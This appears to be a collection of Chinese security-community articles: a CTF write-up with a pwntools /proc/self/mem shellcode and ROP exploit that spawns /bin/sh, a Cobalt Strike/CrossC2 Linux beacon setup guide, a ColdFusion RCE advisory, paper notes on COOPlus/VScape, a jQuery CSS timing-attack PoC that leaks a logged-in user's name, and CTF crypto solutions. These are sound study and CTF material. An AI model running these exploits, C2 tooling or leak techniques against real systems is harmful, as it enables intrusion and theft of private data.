r
单步执行发现到`0x4b0f80`栈顶为`0`，我们的目的是调用`read(0,rsp,sz)`，`rdi`可以在此处pop
0进去，另外`r12`是一个不错的较大的整数可以赋值给`rdx`，因此可以在这里进行代码注入，注入的第一段汇编如下，读取第二段`rop
chain`之后`ret`触发执行我们的代码即可get shell。
pop rdi
mov rsi, rsp
mov rdx, r12
syscall
ret
第一次代码注入后调用情况如下
### exp.py
#coding=utf-8
from pwn import *
context.update(arch='amd64',os='linux',log_level="DEBUG")
context.terminal = ['tmux','split','-h']
p = process("./abw")
elf = ELF('./python3.6')
p_rdi = 0x0000000000421872
p_rsi = 0x000000000042159a
p_rdx = 0x00000000004026c1
p_rax = 0x0000000000421095
syscall = 0x4b0f87
def exp():
gdb.attach(p,'b* 0x4b0f78')
data = asm('''
pop rdi
mov rsi, rsp
mov rdx, r12
syscall
ret
''').encode('hex')
offset = 0x4b0f80
p.sendlineafter(" :", "/proc/self/mem")
p.sendlineafter(" :", str(offset))
p.sendlineafter(":", data)
raw_input()
#read more
bss_base = elf.bss()
gadets = [
p_rdi,0,
p_rsi,bss_base,
p_rdx,0x8,
p_rax,0,
syscall,
p_rdi,bss_base,
p_rsi,0,
p_rdx,0,
p_rax,59,
syscall
]
gadets = flat(gadets)
p.send(gadets)
raw_input()
p.send("/bin/sh\x00")
p.interactive()
exp()
## PlaidCTF 2014 ' **nightmares** '
这道题目是一道`python沙箱逃逸题目`，我们在能够控制`stdout`的情况下可以实现任意文件读写，这里博主的做法是通过`/proc/self/mem`覆盖`fopen@got`为`system`，这样在`open('file_name')`的时候可以通过修改文件名执行任意命令，具体可以参考下文。
["PlaidCTF 2014 ' **nightmares** ' (Pwnables 375)
writeup"](https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/)
## 总结
`/proc/self/maps`和`/proc/self/mem`作为两个系统映射的虚拟文件存储了进程相关的重要信息，读取前者可以获取进程的所有段的基地址，修改后者相当于可修改只读的代码段内容实现`进程注入`，相关的题目除了本文提到的两道题外还有2018年全国大学生信息安全竞赛的`task_house`，有兴趣的大佬可以做一下。
## 参考
[无需Ptrace就能实现Linux进程间代码注入](https://zhuanlan.zhihu.com/p/29264608)
["PlaidCTF 2014 ' **nightmares** ' (Pwnables 375)
writeup"](https://blog.mheistermann.de/2014/04/14/plaidctf-2014-nightmares-pwnables-375-writeup/)
[DaJun-需要读取maps和mem文件的pwn](https://dayjun.top/2019/12/19/%E9%9C%80%E8%A6%81%E8%AF%BB%E5%8F%96maps%E5%92%8Cmem%E6%96%87%E4%BB%B6%E7%9A%84pwn/) | 社区文章 |
# cs上线Linux
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
基于自身办公环境的需求，想着在自己Mac上搭建cs的服务端和客户端，解决资源可以充分利用，学习cs摆脱多个机器的尴尬处境，之前不知道互联网上有没有这方面的实践，随手百度，得此文，记录之。
## 结论
多次实践，实现了Linux的上线，未实现Mac的正确返回结果，后续如知具体原有，会自行补充更新。
## 实验环境
cobaltstrike4.3版本 + mac + kali
## 实操
### 安装
如果想让上线Mac或者Linux系统，我们需要下载crossc2,
项目地址：`https://github.com/gloxec/CrossC2/`
注意：目前支持3.14和4.0以上的版本
**下载基础文件:**
1. CrossC2.cna
2. genCrossC2 (如果操作系统是Windows, 下载genCrossC2.Win.exe)
3. 选择Script Manager，添加CrossC2.cna (如果成功安装，菜单栏会多出一项 CrossC2)
4. 修改CrossC2.cna脚本中genCC2路径为真实路径
5. $genCC2 = “/xxx/xx/xx/genCrossC2.MacOS”;
6. 因为一些原因，目前强制只支持HTTPS beacon。
7. 复制server上cs目录下的 .cobaltstrike.beacon_keys到本地目录下
具体修改如下：
后面通过cs脚本管理,添加我们刚才配置好的CrossC2.cna
添加完成后，cs导航栏会有一个crossc2的选项卡。
### 上线Linux
1. 先创建一个监听服务在Mac上，此监听必须用https的方式，上述安装过程中已经提到了。这里创建的时候注意下。
2. 3. 生成相关载荷
4. 5. 6. 选择要上线的系统类型。
7. 8. 9. 最后说一句，这东西玩玩就好了，二十次的重启，可能会换来一次的成功，运气好的，可能一次就搞定。
### 上线mac
理论上有这个alive的返回cs应该就上线了，但是，很遗憾，并没有。反观上面的linux就可以。
参考链接 `https://gloxec.github.io/CrossC2/zh_cn/redteam/attack_macos.html`
官方其实并没有给出Mac上线的截图，笔者这里也没有测试通。惭愧！ | 社区文章 |
# Adobe ColdFusion 任意命令执行漏洞(CVE–2017–11283, CVE–2017–11284)预警
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**0x00 事件描述**
Adobe ColdFusion 在 2017 年 9 月 12 日发布的安全更新中提及到之前版本中存在严重的反序列化漏洞（
**CVE-2017-11283, CVE-2017-11284** ），可导致远程代码执行。当使用 Flex 集成服务开启 Remote Adobe
LiveCycle Data Management access 的情况下可能受到该漏洞的影响，使用该功能会开启 RMI 服务， **监听的端口为
1099** 。ColdFusion 自带的 Java 版本过低，不会在反序列化之前对 RMI 请求中的对象类型进行检验。
360CERT 经过分析验证，确认该漏洞确实存在，请相关用户尽快进行更新处理。
**0x01 影响版本**
1.ColdFusion (2016 release) Update 4 以及之前的版本
2.ColdFusion 11 Update 12 以及之前版本
**0x02 漏洞利用验证**
往 RMI 服务发送构造好的 payload 做一个简单的远程代码执行验证。
**0x03 修复方案**
1.在管理页面关闭 Remote Adobe LiveCycle Data Management access
2.升级最新补丁 ColdFusion (2016 release) Update 5，ColdFusion 11 Update 13
**0x04 时间线**
2017-9-12 Adobe ColdFusion 发布安全更新
2017-10-19 360CERT 发布漏洞预警
**0x05 参考链接**
<https://helpx.adobe.com/security/products/coldfusion/apsb17-30.html>
<https://nickbloor.co.uk/2017/10/13/adobe-coldfusion-deserialization-rce-cve-2017-11283-cve-2017-11238/> | 社区文章 |
# 《VScape - Assessing and Escaping Virtual Call Protections》 论文笔记
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、简介
这篇论文介绍了一种面向伪对象编程（COOP）的 **加强攻击手法** ，称为 **COOPlus** 。对于那些不破坏 C++ ABI
的虚拟调用保护来说，有相当一部分的 虚拟调用保护手段易受 COOPlus 的攻击。
**符合以下三个条件的虚拟函数调用容易受到 COOPlus 的攻击：**
* **不破坏虚函数调用的 ABI**
* **不保证 C++ 对象 vtable 指针的完整性（即可以被修改）**
* **允许在虚拟函数调用点上调用不同的函数**
COOPlus 本质上是 **代码重用** 攻击，它在目标虚拟函数调用点上调用 **符合类型但不符合上下文** 的虚拟函数。该调用可通过 C++ 语义感知的
**控制流完整性 CFI** 检测，但由于调用上下文不同，因此可能会造成进一步的利用。
除了 COOPlus 以外，该论文还提出了一种解决方案 **VScape** ，用来评估针对虚拟调用攻击保护的有效性。
论文 + 幻灯片 – [USENIX security
21](https://www.usenix.org/conference/usenixsecurity21/presentation/chen-kaixiang)
## 二、虚拟调用保护
在进一步学习 COOPlus 之前，我们需要了解一下现有的虚拟调用保护手法。
由于大部分 vtable 劫持攻击都涉及到 **纂改 vptr** ，因此一种简单的方式是 **确保 vptr 完整性** ，例如 **通用数据流完整性技术
DFI** 。但通常精度不高，且运行时开销较大，不太实用。
另一种方式是 **破坏掉了 C++ 的 ABI** ，例如有些保护方法将 vptr 放入单独的
元数据表中，并利用硬件功能（例如英特尔内存保护扩展插件）来确保元数据表的完整性，防止 vptr 被纂改。由于 ABI
被破坏，因此此类的保护方式会导致较为严重的兼容问题，实用性也不大。
第三种保护方式是， **检查每个虚拟调用目标的有效性** 。这个保护方式在之前阅读的论文 《SHARD: Fine-Grained Kernel
Specialization with Context-Aware Hardening》中也用到过，通过检查 vptr
指向位置的有效性，来确认调用的虚函数是否是正确的。
对于 CFI
技术来说，其解决方案均以安全性和实用性为目标。其中对于粗粒度（即不考虑C++语义或类型信息）的CFI方式来说，无法防止虚拟函数调用攻击；而细粒度 CFI
解决方案将会考虑更多的信息来提供更强的防御。
## 三、 COOP 攻击
在说明 COOPlus 攻击之前，我们必须先说明一下 COOP 攻击，以了解 COOPlus 攻击所提出的改进点。这篇论文中对 COOP
攻击描述的不多，因此我找了一下提出 COOP 的论文，大概的看了一下。
COOP，即面向伪对象的编程。这个攻击方式在 2015 年被首次提出，直至现在其论文引用量多达三百余次。
COOP 攻击受限于篇幅，将在另一篇文章中记录。
## 四、COOPlus 攻击
COOPlus 攻击的目的是为了 **绕过 C++语法感知的 CFI 解决方案** ，因此其他漏洞缓解措施（例如
ASLR、DEP等等）以及其他漏洞利用手法等暂时不做考虑。
与 COOP 攻击不同，COOPlus 调用的是 **类型兼容的虚拟函数** 来绕过更强的防御。
COOPlus 攻击的条件是：
* **不保证 vptr 完整性**
* **不破坏 C++ ABI**
* **存在一个低危漏洞，例如一字节越界写 off-by-one**
该攻击的原理如下图所示：
> 一图胜过千言万语。
通俗的说，主要攻击过程概括如下：
假设有三个类，分别是 **基类 Base 类** ， **Base 派生类 S1** ， **另一个 Base 派生类 S2** 。其中 S1、S2
是否也是派生关系并不重要。只要 **确保 S1 类和 S2 类都是从基类 Base 类中派生出来** 的即可。
* 寻找一个 **派生类 S1 调用 Base 基类虚函数** 的函数调用进行劫持
* 利用给定的漏洞（例如一字节越界写）来修改 **派生类 S1** 的 vptr 为 **另一个 Base 类的派生类 S2 （简称 counterfeit 类） 的 vptr** 。
> 即 **S1 类和 S2 类都是从基类 Base 类中派生出** 。
>
> 而对于虚函数调用来说，由于 vcall 肯定是 **通过基类指针** 进行调用，而 **S1 和 S2 都是基类的派生类** ，因此在 C++
> 语义敏感层面将通过检查。因为 **从基类 ptr 调用派生类虚函数是非常正常的事情** ，除非保护手法非常的细粒度，否则就无法检测出这类利用方式。
>
> 个人猜测正是因为这点使得 COOPlus 可以绕过相当一部分的 **C++ 语义敏感** 的保护手法。
* 接下来，由于 victim 类的 vptr 被修改为 counterfeit 类（伪造类），因此 victim 类的所有虚函数调用最终都将调用到 counterfeit 类的虚函数。如上图所示，当被篡改 vptr 后的 victim 类对象调用虚函数 `func1` 时，它将不再调用 `S1::func1`，而是调用 `S2::func2`。由于 S2 和 S1 的类布局不同，因此可能会存在一些 S1 所没有的字段（例如图中的 `memberM`）。而 S1 调用了 S2 的 func1，因此将超过 S1 类对象的内存界限进行内存访问，最终造成内存越界操作。
当 victim 类对象的函数操作可以造成内存越界后（内存越界到的对象称为 **中继对象 Relay object**
），我们便可以利用这种内存越界来精心修改 Relay object 上的字段，例如 length 等等，来进一步 **放大漏洞危害**
（最初的漏洞是一字节越界写）。
对于不同的 counterfeit 函数，大致将其分为以下几类可利用的 vfgadget：
* Out-of-bound Read
* Ld-Ex-PC：可以从目标内存中读取可控数据并 **加载进 PC**
* Ld-AW-Const：可以将 **常量值** 写入目标内存
* Ld-AW-nonCtrl：可以将 **非恒定且不可控的值** 写入目标内存
* Ld-AW-Ctrl：可以将 **可控值** 写入目标内存
> 鉴于这四种 gadget 都分类至 OOB read，因此推测这里的 **目标内存** 应该指的是 victim Object
> 上的成员变量，或者特定其他堆空间等等。
* Out-of-bound Write
* St-Ptr：可以将 **指针值** 写入中继对象。若中继对象可被操作，则可以用来绕过 ASLR 等防御手段
* St-nonPtr：将 **非指针值** 写入中继对象。例如将一个超大值写入至中继对象的 length 字段，造成更大范围的 OOB-RW。
COOPlus 攻击无需用到较为高危的漏洞，只需用到简单的低危漏洞即可放大漏洞影响，实用性较好。由于 victim 基类和 counterfeit
派生类通常都在同一个模块中定义，因此其 vtable 的分布也较为相近。漏洞对 vptr 一字节的改动也有可能产生另一个兼容 vptr，并成功利用
COOPlus。
但即便如此，若原始漏洞的效果较低，那么其 COOPlus 可用利用原语的条目数量也会降低。例如一字节越界写只能修改 vptr 正负偏移 255
字节左右，范围不够大。
## 五、VScape
### 1\. 简介
若给定 **一个目标程序** 、 **一个漏洞** 以及 **当前使用的虚拟调用保护方式** ，判断能否通过发起 COOPlus 来绕过 CFI
保护是比较艰难的，尤其是目标程序很大的时候。
这是因为若想发起 COOPlus 攻击，则需要找到适当的攻击原语元组 **（vcall, victim class, counterfeit
class）** ，同时
* 虚拟调用所调用的函数必须是 **基类虚函数**
* counterfeit 类和 victim 类均派生自某个基类，但却有不同的虚函数实现方式
* 可以利用漏洞来破坏 victim 类
除此之外，我们还需要生成适当的输入，使得可以触发目标 vcall，接着触发 counterfeit
函数并最终导致内存越界操作，这整个过程同样也是一项较为艰难的任务。
因此 该论文提出 VSCape 这样的一个解决方案，用来自动编译候选的原语，并过滤出实用且可达的原语，辅助生成最终的漏洞利用来绕过 vcall 保护。
这是 VScape 的整体架构，接下来将分别在下面详细说明每个模块：
> 这个工具虽然在实际中我们可能不会太用到，但是了解一下整体的设计也是一个学习的过程。
### 2\. 原语生成
#### Info Collecting
VScape 将使用传入的目标程序源码，在编译期间收集与 vcall 相关的信息：
* 虚函数调用点：记录目标程序的 **所有虚拟函数调用点** ，以及预期虚拟函数静态声明的基本接口类信息。
* 类布局：在编译过程中记录下 **所有类的布局** ，包括类大小，成员变量字段偏移量以及基类等等。
* 虚函数信息：记录每个虚函数调用点的 **所有符合类型的虚函数** ，以及每个虚函数中的 **最大字段访问偏移量** ，以便于在今后的检查中找到潜在的越界访问。
#### Primitive Searching
从上一步获取到的信息中，VScape 将继续筛选出可用于攻击的攻击原语元组。
* 首先，VScape 将构建 **类继承（class inheritance hierarchy ，CHI） 树**
* 初始化 **全局编号** ， 该编号用于记录 **目标虚拟函数** （注意不是所有虚拟函数）的版本，从0开始
* 在 CHI 树中运用 BFS，给每个类节点编号，以记录目标虚拟函数的版本。若子类使用的虚函数是父类版本，则将父类的 ID 分配给子类，否则将全局编号自增1并赋给子类。
这样操作后，VScape 就可以获得对应 vcall 的带版本号的 CHI 树。即最终可以形成可用的攻击原语 **（vcall, victim class,
counterfeit class）** 。
但这里存在一个问题，由于 vcall 数量规模非常的大，而且类也很多，因此这样一套搜索可能会消耗非常长的时间，不过这还是取决于具体实现。
#### Primitive Capability Analysis
在有了多组攻击原语后，接下来需要判断这些原语在漏洞利用中所能起到的作用。
正如上面将 vfgadget 分成多种类型一样，VScape 在这里也将对不同类型的 vfgadget 进行不同的处理。
* 对于OOB-read，分析读取的值用作加载 PC 还是用作写入目标内存地址。如果是后者则还会通过污染分析来判断待写入的值能否被敌手控制。
* 对于 OOB-write，分析写入的值是否是指针，如果是则进一步查找中继对象的使用方式，来尝试找到绕过 ASLR 的地方。
### 3\. 检测原语结构
在获取到大量攻击原语后，需要进一步过滤出可用的原语。
#### Vulnerability Matching
在给定漏洞描述之后，VScape 还会了解目的堆分配器的相关信息，并过滤出那些：
> victim object 与 **可触发漏洞的 buf** 分配在同一个堆中的 候选原语。
因为若分配不在同一个堆，则自然这些攻击原语将无法利用。
#### Exploitable Memory States Inference
若想触发 vcall 中的特定目的（例如写入数据或读取），则必须在 **特定内存状态** 下运行，例如类的某些字段必须为某些特殊值，否则将不满足 vcall
的条件判断，进而无法执行到目标位置。
VScape 将通过污点分析和符号执行来进一步确认。VScape将把 **victim object** 和相邻的 **中继对象**
标记为符号值，并以符号方式执行那些 **会越界访问到中继对象** 的伪造函数。
> 很容易理解为什么要将 **中继对象也作为符号值** ，这是因为伪造函数可能会 **使用到一些越界内存上的值** ，而这些内存上存放的是中继对象。
### 4\. 约束求解
在上面 VScape 已经对原语结构进行了简单的过滤，接下来仍然有三个问题需要解决：
* 能否使控制流到达目标 vcallsite 上并执行 victim 类的 vcall。
* 伪造函数上的 OOB 操作能否成功执行
* 满足上述两点的数据约束是什么
#### Virtual Callsite Reachability Testing
首先对于第一点，VScape 通过定向 fuzz 技术，使用给定的基准测试数据， **尽可能地得到一个不完整的可达 victim 函数列表**
。VScape 将在目标 vcallsite 后插入 callback 以记录调用的 victim function 和 testcase。
#### OOB Instruction Reachability Solving
对于第二点，VScape 把经过上面第一点处理后的 testcase 作为输入，在目标程序执行至目标 vcallsite
后保存此时的执行上下文，并让符号执行引擎在此时的上下文对 **伪函数** 进行符号执行操作，以获取 **执行伪函数 OOB 操作** 的数据依赖。
> 类似的，中转对象也会被作为符号值一并用于符号执行中。
#### Exploit Assembling
VScape 无法自动化生成漏洞利用，它必须依赖用户给定的 exploit 模板来构成完整的漏洞利用链。
用户必须手动：
* 在 exploit 中手动操作堆风水
* 在 exploit 中，利用 POC 更改 victim object 的 vptr 为特定值
* 根据 VScape 提供的信息进行后续的漏洞利用
以这个漏洞模板为例：
main 函数中的黑色字体函数调用是必须由人工手动完成，而红色字体的函数调用是 VScape 可以辅助完成的工作。
## 六、评估
VScape 的评估主要基于三个层面：
* 在真实世界中的 C++ 程序中，COOPlus 攻击是否实用
* COOPlus 在绕过 vcall 保护机制上效果如何
* VScape 在生成真实完整漏洞利用链的过程中表现如何
根据 slides 中给定的结论，我们可以看到 COOPlus 攻击在大项目中比较实用。
而对于那些 vcall 保护机制，COOPlus 可以绕过满足既定攻击条件的保护。
> 既定攻击条件，即不破坏C++ ABI，不保证 vptr 完整性以及允许在 vcallsite 上调用多个目标。
论文中还给出了对于 PyQt 和 Firefox 的利用评估，这里不再展开。 | 社区文章 |
# 滥用jQuery导致CSS时序攻击
|
##### 译文声明
本文是翻译文章，文章原作者 portswigger，文章来源：portswigger.net
原文地址：<https://portswigger.net/blog/abusing-jquery-for-css-powered-timing-attacks>
译文仅供参考，具体内容表达以及含义原文为准。
vector illustrations of busy concepts, running out of time.
[亚瑟·萨夫尼斯（Arthur
Saftnes）](https://twitter.com/ArthurSaftnes)去年发表了一篇非常棒的文章，介绍了他在[利用CSS选择器和Javascript进行时序攻击](https://blog.sheddow.xyz/css-timing-attack/)方面的研究成果。说实话，它可能是我去年最喜欢的一篇文章。
注：如果你是第一次接触这类攻击，为方便理解本文，请先阅读上面这篇博文。
网站通常会使用下面这个方法将`location.hash`传递给[jQuery $
function](https://api.jquery.com/jQuery/)：
$(location.hash);
攻击者有时可以控制hash值，并通常用来造成[XSS](https://portswigger.net/web-security/cross-site-scripting)，但jQuery在许多年已修复该漏洞。亚瑟发现该模块理论上仍可以被利用，从而导致时序攻击。你可以通过重复调用jQuery [:has
selector](https://api.jquery.com/has-selector/)，然后注意目标页面中的内容的变化，判定对性能的影响。通过这点，攻击者可以把不可能造成XSS的情况转化为解析任意输入的端点。
于是我决定跟进这个研究，想要在外部网络中利用此技术找出一些漏洞。首先我把Burp
Scaner修改为[动态分析](https://portswigger.net/blog/dynamic-analysis-of-javascript)，以寻找`hashchange`事件中正在执行的jQuery选择器，然后扫描了一堆网站。我选择`hashchange`这个事件的原因是该攻击的局限性；为判定对性能的影响你需要重复更改hash值，导入所有可能的字符进行二进制搜索，而这只有`hashchange`事件触发时才能运行。原先那篇博文的一个局限是：目前主流浏览器都会对站点hash进行URL-encode处理，所以你先要解码它——但我找到了解决该问题的方法。
我通过`hashchange`事件发现了一些使用`location.hash`和`jquery $
fuction`的Bug赏金项目站点，但找到的大部分站点没有令我感兴趣的数据，我没怎么窃取它们。Red
Hat站点例外，它在`hashchange`事件中使用了jQuery选择器，并且站点启用了账户功能。查看Red
Hat站点，找不到可以窃取数据的端点，但你会发现当你登入后确实会显示你的全名。亚瑟在攻击时使用了[CSS属性选择器](https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors)但全名不会出现在任何输入的元素中，因此我不能套用他的方法。
我查看了所有jQuery CSS选择器，发现选择器[:contains](https://api.jquery.com/contains-selector/)可以找出包含指定字符的元素。不幸的是使用`:contains`看不到字符串的开头和末尾，所有我只能找别的方法提取。起初我想利用空格作为锚点来提取出姓名，但问题是Firefox会对空格进行URL编码。幸运的是，反斜杠不会进行URL-encode，所以我可以尝试CSS
hex转义。刚开始我使用的是`20`，后来发现后续的字符也要进行hex转义，否则将破坏选择器，但如果我填充进字符`0`可以解决这个问题。我对亚瑟的利用代码稍加修改，添加了`make_selector`函数来解决空格的问题：
function make_selector(prefix, characters, firstNameFlag, firstName) {
return characters.split("").map(c => !firstNameFlag ? SLOW_SELECTOR +
SELECTOR_TEMPLATE.replace('{}', c + prefix + '\000020') : SLOW_SELECTOR +
SELECTOR_TEMPLATE.replace("{}", prefix.replace(/ /, '\000020') + c))
.join(",");
}
这段代码通过hex编码了空格，帮助扫描出网页背后的名称。我使用了`firstNameFlag`，以区分出姓名和名字，找到姓名的大写字母后会设置标志，然后使用第一个名称作为前缀和空格继续扫描第二个字母，依次扫描出完整名称。
if(!firstNameFlag && /[A-Z]/.test(name)) {
firstNameFlag = true;
name += ' ';
backtracks = 0;
continue;
}
我遇到了另一个问题，由于URL-encode的问题，我无法在选择器里使用空格，而且使用hex转义也不能解决问题。我想了很久，构建出下面这个没有空格仍可以判定对性能的影响的选择器：
const SLOW_SELECTOR="*:has(*:has(*):parent:has(*):parent:has(*):parent:has(*):parent:has(*)):parent:has(";
const SELECTOR_TEMPLATE=".account-user:contains('{}'))";
这仍会导致性能问题，但比使用带有空格的[CSS descendant选择器](https://developer.mozilla.org/en-US/docs/Web/CSS/Descendant_combinator)要快一些。我面临的下一个问题是如何确定已经递归到名字的末尾。正如我前面提到的那样，我不能看到字符尾端。目前我想到的唯一方法是连续寻找6个回溯。
目前这个漏洞已经完全修复，所以我分享出我的原始Poc：
[Firefox access.redhat.com jQuery selector PoC](http://portswigger-labs.net/redhat_ZnF5463PdXj/poc.html)
我录制了一段Video，你可以通过视频详细地查看时序攻击的详情。
[Here is The Video.](https://portswigger.net/cms/videos/83/c2/64c9bfa331ce-video.mp4) | 社区文章 |
# Pwnhub & Always be with U & Writeup
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
正逢pwnhub有比赛，于是做了一下题目，以下是题解
## Happy Tree Friends
### 题目概述
拿到题目
#!/usr/bin/env python3
import zlib
from Crypto.Cipher import AES
import sys
import os
from hashlib import md5
flag = open("flag.txt").read()
while True:
data = input()
data = "message: %s, flag: %s" % (data, flag)
compressed = zlib.compress(data.encode())
if len(compressed) % 16:
compressed += b"x00" * (16 - len(compressed) % 16)
encrypted = AES.new(
md5(flag.encode()).digest(), AES.MODE_CBC, os.urandom(16)
).encrypt(compressed)
print(encrypted.hex())
发现有如下操作
1.接收输入的值
2.将输入值和flag放在一起
3.使用zlib进行压缩
4.将压缩结果进行padding
5.使用AES加密
6.返回加密值
### 漏洞点分析
本想对AES进行攻击，但只可控明文，还要经过zlib压缩，应该不太靠谱，于是往zlib压缩算法上考虑
查阅资料得知
zlib应该是参考了Rabin–Karp字符串查找算法，即使用hash方法来确定一个字符串是否在前面出现过。zlib压缩过程中会维护一个比较大的hash值数组，这个数组存储了数据流中每3个字符组成的字符串的hash值，例如4、5、6号字符计算一个hash值，5、6、7号字符也计算一个hash值。
计算出的hash值作为下标，用来在hash值数组里存储当前三字字符串的下标。当数据流中出现一个新字符时，和之前的两个字符组成一个字符串，计算hash值，看在hash数组里该值的位置是否已经有值，有的话就取出这个值(上一次得到这个hash值的三个字符的下标)，检查是否是有效匹配。可以将查找过程理解为一个查字典的过程，只不过这个字典的条目也是处理过程中逐渐生成、逐渐抛弃的。
我们编写测试脚本可以发现
import zlib
flag = 'flag{148731984637}'
data1 = 'fla'
data1 = "message: %s, flag: %s" % (data1, flag)
data2 = 'dfa'
data2 = "message: %s, flag: %s" % (data2, flag)
print len(zlib.compress(data1.encode()))
print len(zlib.compress(data2.encode()))
由于压缩算法：
data1字符串中存在2次flag，如果data中有fla存在，则fla存在3次，压缩结果最短
而data2字符串中除了fla外，任意3种字符串，压缩后都没有data1压缩长度短
那么我们可以利用这种方式，通过长度进行侧信道，进行flag碰撞爆破，一旦出现flag中的字符，则加密结果明显变短
同时我们发现
当我们已知前几位后，后面爆破的结果，一旦匹配，则长度始终为最短值，即39
这样，如果开头是flag{，那么我们即可1位1位匹配，寻找长度为最短值的字符即可
### 题目测试
知道原理后，我们测试题目
flag
496f7e60ae407bb1020fc5d97898270cec9c8495cf0ca52d93d3dd74d4ae8cb0732dd45736a79ec8f921cd9cc893c08eb250f54ca27c1bf5e74b69fdcfef7ba4
flag{
bfe7b29ddccb4d0b4e538f224247801fdc9d8a518070cc38527152f1237cb6b96f22d30de1d7658bd71513bf1fcc58c950114a5c1c25907087d599fd83ef7a83
flag{a
b8c5ce562800a8209ddc31527a76758a50568cd51d256730be9ba0850cdaeae092656f305a92d1ff6bea09ea25745067aa27e16003acdf9e8a599f296d43b4b8d326ac1a9176be5ebc2866f8eb75ab56
flag{b
6a2b03216022caa3d7958767a86ef304858e9bf3e7303df3d27deaad6a9ddfa2603ee16dfe9b6b967805a527dd944a508d81b56a1bf32e4ea770b1334b17b6e17b93d95badb2429bf0f1a591c7cd914d
flag{c
ebfd61a158e220ce16fd53b31c1e4e67df928a883b187c66c98be71f11cf43df1abe6cfd3365da603c92beaa8e30c23cb94d420c8d392fa6b457369263e35bb0847a116cb31135ea57e6bcf18a083e42
flag{d
aef61242ad1cf6f7b645b73c486df9d9a8985eeb38c7c4e16d71c19b9ed05cf6def29c3c236ed126af90f2c467507a3a3b4fecdb4129f257bf567935f43e2b84
发现如果是flag的格式，并与flag一致，则长度为129，其余都为161，于是可以按位爆破，写出脚本如下
from pwn import *
import itertools
import string
dic = string.digits + 'abcdef-'
s = remote("40.73.22.31", "2333")
flag = 'flag{de12473b-'
while True:
for i in dic:
tmp = flag+i
print tmp
s.sendline(tmp)
res = s.recvline()
print len(res)
if len(res)==129:
flag +=i
print flag
break
但发现跑完只得到
flag{de12473b-
后面字母跑出来，长度都是161，思考一下
发现这里还有AES，如果我输入的太长，就算原文被压缩，长度变短后，加密后还是会变长
所以并不能带这么一长串进行攻击，需要几个几个一爆。
同时发现
flag和de12虽然都在flag{}里出现，但是flag时候明显短
估计是因为消息如下
data = "message: %s, flag: %s" % (data, flag)
填充flag后，flag出现了3次，而de12只有2次，所以对zlib来说flag出现3次，压缩的更短，导致AES加密后只有128，即分了8组，而其他时候分了10组
同时，在原文足够长的时候
flag{de12473b-
无论是否压缩，压缩后结果都比较长，经过AES后依旧会分10组
这时候，我决定找到一个`de1`经过压缩会加密分组会变短，而`de2`经过压缩会加密分组不变的垃圾数据
(因为flag不太靠谱，出现过3次，不具有普遍意义)
垃圾数据填充到
~!@#$%^&*()_+{}SKYISC(4&^@)#%^de1
~!@#$%^&*()_+{}SKYISC(4&^@)#%^de2
发现长度明显不同
于是将脚本进行改进。
### payload
编写出如下脚本
from pwn import *
import itertools
import string
dic = string.digits + 'abcdef-{}'
s = remote("40.73.22.31", "2333")
flag = 'flag{de12473b-'
padd = '~!@#$%^&*()_+{}SKYISC(4&^@)#%^'
while True:
now = flag[-2:]
for i in dic:
tmp = now+i
s.sendline(padd+tmp)
res = s.recvline()
if len(res)<224:
flag +=i
print flag
break
运行后可以得到flag
flag{de12473b-7105-4f6e-981c-1e4672e7a4b5}
## Farewell
### 题目概述
拿到题目后
#!/usr/bin/env python3
import sys
import socket
import secrets
from Crypto.Cipher import AES
from hashlib import sha256
p = 449703347709287328982446812318870158230369688625894307953604074502413258045265502496365998383562119915565080518077360839705004058211784369656486678307007348691991136610142919372779782779111507129101110674559235388392082113417306002050124215904803026894400155194275424834577942500150410440057660679460918645357376095613079720172148302097893734034788458122333816759162605888879531594217661921547293164281934920669935417080156833072528358511807757748554348615957977663784762124746554638152693469580761002437793837094101338408017407251986116589240523625340964025531357446706263871843489143068620501020284421781243879675292060268876353250854369189182926055204229002568224846436918153245720514450234433170717311083868591477186061896282790880850797471658321324127334704438430354844770131980049668516350774939625369909869906362174015628078258039638111064842324979997867746404806457329528690722757322373158670827203350590809390932986616805533168714686834174965211242863201076482127152571774960580915318022303418111346406295217571564155573765371519749325922145875128395909112254242027512400564855444101325427710643212690768272048881411988830011985059218048684311349415764441760364762942692722834850287985399559042457470942580456516395188637916303814055777357738894264037988945951468416861647204658893837753361851667573185920779272635885127149348845064478121843462789367112698673780005436144393573832498203659056909233757206537514290993810628872250841862059672570704733990716282248839
g = 2
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if sys.argv[1] == 's': # server
s.bind(('127.0.0.1', 23333))
s.listen()
s, _ = s.accept()
elif sys.argv[1] == 'c': # client
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('127.0.0.1', 23333))
x = secrets.randbelow(p)
s.send(str(pow(g, x, p)).encode())
r = int(s.recv(2048))
key = pow(r, x, p)
aes = AES.new(sha256(str(key).encode()).digest())
if sys.argv[1] == 's':
flag = open('flag.txt').read()
flag += ' ' * (32 - len(flag) % 32)
s.send(aes.encrypt(flag))
elif sys.argv[1] == 'c':
print(aes.decrypt(s.recv(2048)))
发现题目是一个Diffle-Hellman密钥交换算法，同时题目用共享密钥key作为AES的密钥加密了flag
题目给出了p和g，以及在流量包中有如下值
str(pow(g, x, p)).encode()
r
aes.encrypt(flag)
所以题目思路比较清晰，即利用题目泄露的信息，计算出共享密钥，然后解密密文
### Diffle-Hellman密钥交换算法
该交换算法原理如下
1.Alice和Bob先说好一个大素数p和它的原始根g
2.Alice随机产生一个数x， 计算C1=g^x mod p,然后把C1发给Bob；
3.Bob随机产生一个数y，计算C2=g^y mod p,然后把C2发给Alice；
4.Alice计算k=C2^x mod p;
5.Bob计算k*=C1^y mod p;
其中值得注意的是
k= C2^x mod p= (g^y)^x mod p = (g^x)^y mod p = C1^y mod p = k*
即
k=k*
那么在该题里，我们有p和g的值
同时有`g^x mod p`和`r`的值
只要我们能通过
g^x mod p
计算出x，那么就可以利用
r^x mod p
计算出共享密钥k
### 私钥计算
这里我们知道Diffle-Hellman密钥交换算法的安全性建立于有限域上计算离散对数非常困难，但由于这里的g非常小，所以我们可以利用如下脚本进行计算
